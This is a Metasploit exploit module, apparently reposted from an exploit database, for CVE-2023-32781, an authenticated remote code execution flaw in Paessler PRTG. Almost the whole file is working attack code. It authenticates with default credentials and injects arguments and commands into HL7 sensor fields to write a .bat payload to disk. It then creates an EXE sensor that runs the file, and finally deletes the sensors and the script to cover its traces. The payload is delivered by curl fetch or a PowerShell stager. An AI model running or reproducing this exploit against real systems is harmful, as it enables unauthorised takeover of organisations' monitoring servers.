Share
## https://sploitus.com/exploit?id=PACKETSTORM:176677
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Retry  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'PRTG CVE-2023-32781 Authenticated RCE',  
'Description' => %q{  
Authenticated RCE in Paessler PRTG  
},  
'License' => MSF_LICENSE,  
'Author' => ['Kevin Joensen <kevin[at]baldur.dk>'],  
'References' => [  
[ 'URL', 'https://baldur.dk/blog/prtg-rce.html'],  
[ 'CVE', '2023-32781']  
],  
'DisclosureDate' => '2023-08-09',  
'Platform' => 'win',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Targets' => [  
[  
'Windows_Fetch',  
{  
'Arch' => [ ARCH_CMD ],  
'Platform' => 'win',  
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },  
'Type' => :win_fetch  
}  
],  
[  
'Windows_CMDStager',  
{  
'Arch' => [ ARCH_X64, ARCH_X86 ],  
'Platform' => 'win',  
'Type' => :win_cmdstager,  
'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]  
}  
]  
],  
'DefaultTarget' => 0,  
  
'DefaultOptions' => {},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new(  
'USERNAME',  
[ true, 'The username to authenticate with', 'prtgadmin' ]  
),  
OptString.new(  
'PASSWORD',  
[ true, 'The password to authenticate with', 'prtgadmin' ]  
),  
OptString.new(  
'TARGETURI',  
[ true, 'The URI for the PRTG web interface', '/' ]  
)  
]  
)  
end  
  
def check  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['URI'], '/index.htm')  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
return CheckCode::Unknown  
ensure  
disconnect  
end  
  
if res && res.code == 200  
prtg_server_header = res.headers['Server']  
  
if (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')  
return CheckCode::Detected  
end  
end  
  
return CheckCode::Unknown  
end  
  
def exploit  
@sensors_to_delete = []  
  
connect  
case target['Type']  
when :win_cmdstager  
execute_cmdstager  
when :win_fetch  
execute_command(payload.encoded)  
end  
end  
  
def on_new_session(client)  
super  
@sensors_to_delete.each do |sensor_id|  
delete_sensor_by_id(sensor_id)  
end  
print_good('Session created')  
end  
  
def execute_command(cmd, _opts = {})  
print_status('Running PRTG RCE exploit')  
authenticate_prtg  
bat_file_name = write_bat_file_to_disk(cmd)  
run_bat_file_from_disk(bat_file_name)  
print_status('Exploit done')  
handler  
end  
  
def authenticate_prtg  
print_status('Authenticating against PRTG')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'public', 'checklogin.htm'),  
'keep_cookies' => true,  
'vars_post' => {  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}  
})  
unless res  
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')  
end  
if res && res.code == 302 && res.get_cookies  
print_good('Successfully authenticated against PRTG')  
else  
fail_with(Failure::NoAccess, 'Failure to authenticate against PRTG')  
end  
end  
  
def get_csrf_token  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'welcome.htm'),  
'keep_cookies' => true  
})  
  
if res.nil? || res.body.nil?  
fail_with(Failure::NoAccess, 'Page with CSRF token not available')  
end  
  
regex = /csrf-token" content="([^"]+)"/  
token = res.body[regex, 1]  
  
print_status("Extracted csrf token: #{token}")  
token  
end  
  
def delete_sensor_by_id(sensor_id)  
print_status("Deleting sensor #{sensor_id}")  
csrf_token = get_csrf_token  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api', 'deleteobject.htm'),  
'keep_cookies' => true,  
'headers' => {  
'anti-csrf-token' => csrf_token,  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'vars_post' => {  
id: sensor_id,  
approve: 1  
}  
})  
  
if res.nil? || res.body.nil?  
fail_with(Failure::NoAccess, 'Sensor deletion failed')  
end  
end  
  
def get_created_sensor_id(sensor_name)  
print_status('Fetching created sensor id')  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'controls', 'deviceoverview.htm'),  
'keep_cookies' => true,  
'vars_get' => {  
'id' => 40  
}  
})  
  
if res.nil? || res.body.nil?  
fail_with(Failure::NoAccess, 'Page with sensorid not available')  
end  
  
regex = /id=([0-9]+)">#{sensor_name}/  
sensor_id = res.body[regex, 1]  
  
print_status("Extracted sensor_id: #{sensor_id}")  
sensor_id  
end  
  
def run_sensor_with_id(sensor_id)  
csrf_token = get_csrf_token  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api', 'scannow.htm'),  
'keep_cookies' => true,  
'headers' => {  
'anti-csrf-token' => csrf_token,  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'vars_post' => {  
id: sensor_id  
}  
})  
  
if res && res.code == 200  
print_good('Sensor started running')  
else  
fail_with(Failure::NoAccess, 'Failure to run sensor')  
end  
end  
  
def write_bat_file_to_disk(cmd)  
# Uses the HL7Sensor for writing a .bat file to the disk  
cmd = cmd.gsub! '\\', '\\\\\\'  
print_status('Writing .bat to disk')  
  
csrf_token = get_csrf_token  
  
# Generate a random sensor name  
sensor_name = Rex::Text.rand_text_alphanumeric(8..10)  
bat_file_name = "#{Rex::Text.rand_text_alphanumeric(8..10)}.bat"  
  
# Clean up the .bat file  
cmd = "#{cmd} & del %0"  
  
print_status("Generated sensor_name #{sensor_name}")  
print_status("Generated bat_file_name #{bat_file_name}")  
  
params = {  
'name_' => sensor_name,  
'parenttags_' => '',  
'tags_' => 'dicom hl7',  
'priority_' => '3',  
'port_' => '104',  
'timeout_' => '60',  
'override_' => '0',  
'sendapp_' => Rex::Text.rand_text_alphanumeric(4..5),  
'sendfac_' => Rex::Text.rand_text_alphanumeric(4..5),  
'recvapp_' => Rex::Text.rand_text_alphanumeric(4..5),  
'recvfac_' => "#{Rex::Text.rand_text_alphanumeric(4..5)}\" -debug=\"..\\Custom Sensors\\EXE\\#{bat_file_name}\" -recvapp=\"#{Rex::Text.rand_text_alphanumeric(4..5)}",  
'hl7file_' => "ADT_& #{cmd} & A08.hl7|ADT_A08.hl7||",  
'hl7filename' => '',  
'intervalgroup' => ['0', '1'],  
'interval_' => '60|60 seconds',  
'errorintervalsdown_' => '1',  
'inherittriggers' => '1',  
'id' => '40',  
'sensortype' => 'hl7',  
'tmpid' => '2',  
'anti-csrf-token' => csrf_token  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),  
'keep_cookies' => true,  
'vars_post' => params  
})  
  
unless res  
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')  
end  
  
if res && res.code == 302  
print_good('HL7 Sensor succesfully created')  
else  
fail_with(Failure::NoAccess, 'Failure to create HL7 sensor')  
end  
# Actually creating the sensor can take 1-2 seconds  
print_status('Checking for sensor creation')  
sensor_id = retry_until_truthy(timeout: 10) do  
get_created_sensor_id(sensor_name)  
end  
  
print_status('Requesting HL7 Sensor to initiate scan')  
  
run_sensor_with_id(sensor_id)  
@sensors_to_delete.push(sensor_id)  
  
print_good('.bat file written to disk')  
bat_file_name  
end  
  
def run_bat_file_from_disk(bat_file_name)  
print_status("Running the .bat file: #{bat_file_name}")  
csrf_token = get_csrf_token  
sensor_name = Rex::Text.rand_text_alphanumeric(8..10)  
  
params = {  
'name_' => sensor_name,  
'parenttags_' => '',  
'tags_' => 'exesensor',  
'priority_' => '3',  
'scriptplaceholdergroup' => '1',  
'scriptplaceholder1description_' => '',  
'scriptplaceholder1_' => '',  
'scriptplaceholder2description_' => '',  
'scriptplaceholder2_' => '',  
'scriptplaceholder3description_' => '',  
'scriptplaceholder3_' => '',  
'scriptplaceholder4description_' => '',  
'scriptplaceholder4_' => '',  
'scriptplaceholder5description_' => '',  
'scriptplaceholder5_' => '',  
'exefile_' => "#{bat_file_name}|#{bat_file_name}||",  
'exefilelabel' => '',  
'exeparams_' => '',  
'environment_' => '0',  
'usewindowsauthentication_' => '0',  
'mutexname_' => '',  
'timeout_' => '60',  
'valuetype_' => '0',  
'channel_' => 'Value',  
'unit_' => '#',  
'monitorchange_' => '0',  
'writeresult_' => '0',  
'intervalgroup' => '0',  
'interval_' => '43200|12 hours',  
'errorintervalsdown_' => '1',  
'inherittriggers' => '1',  
'id' => '40',  
'sensortype' => 'exe',  
'tmpid' => '6',  
'anti-csrf-token' => csrf_token  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),  
'keep_cookies' => true,  
'vars_post' => params  
})  
  
unless res  
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')  
end  
  
if res && res.code == 302  
print_status('EXE Script sensor created')  
else  
fail_with(Failure::NoAccess, 'Failure to create EXE Script sensor')  
end  
  
print_status('Checking for sensor creation')  
  
sensor_id = retry_until_truthy(timeout: 10) do  
get_created_sensor_id(sensor_name)  
end  
run_sensor_with_id(sensor_id)  
@sensors_to_delete.push(sensor_id)  
print_good('Exploit completed. Waiting for payload')  
end  
end